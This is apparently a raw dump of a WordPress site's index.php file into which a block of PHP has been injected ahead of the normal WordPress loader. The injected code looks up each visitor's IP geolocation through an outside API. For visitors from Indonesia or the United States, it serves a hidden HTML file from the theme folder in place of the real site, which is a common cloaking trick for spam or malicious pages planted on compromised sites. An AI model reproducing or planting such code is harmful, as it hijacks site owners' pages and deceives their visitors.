File: /home/blushinc/www/index.php
<?php
function getUserIP() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
$ip = getUserIP();
$api_url = "http://ip-api.com/json/{$ip}";
$response = file_get_contents($api_url);
$data = json_decode($response, true);
if ($data['countryCode'] === 'ID' || $data['countryCode'] === 'US') {
ob_start();
include 'wp-content/themes/Newspaper/themes.html';
$output = ob_get_clean();
echo $output;
exit();
}
?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';